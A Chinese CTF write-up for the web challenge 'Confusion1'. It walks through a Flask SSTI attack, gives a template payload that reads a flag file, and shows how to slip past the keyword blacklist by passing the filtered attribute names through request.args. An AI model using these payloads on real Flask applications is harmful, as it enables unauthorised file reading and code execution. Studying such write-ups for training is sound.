Web(Confusion1)"/>
Web(Confusion1)
某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)
题目场景:
(1)在登陆页面出现flag字段。
本题目可能存在Python SSTI漏洞,类似于web(easytornado)。
SSTI知识:python-flask-ssti(模版注入漏洞)_新博客www.husins的博客-CSDN博客_flask注入
(2)测试是否存在模板注入。
(3) 构造常规的payload读取flag文件。
{{''.__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}
读取失败,说明系统经过了过滤,经过尝试,发现系统过滤了常用的class、subclass、read等关键方法,但是并未过滤request。
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。
所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。沙箱逃逸:SSTI/沙盒逃逸详细总结 - 安全客,安全资讯平台
将前面构造的payload,按照request.args置换之前会过滤的字段,以后遇到类似的情况,可以按照这个方法构造:{{request.args.a,request.args.b}}?a=xxxx&b=xxxxx
a=__class__
b=__mro__
c=__subclasses__
d=read
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
flag出现!!!!
更多推荐
Web(Confusion1)
发布评论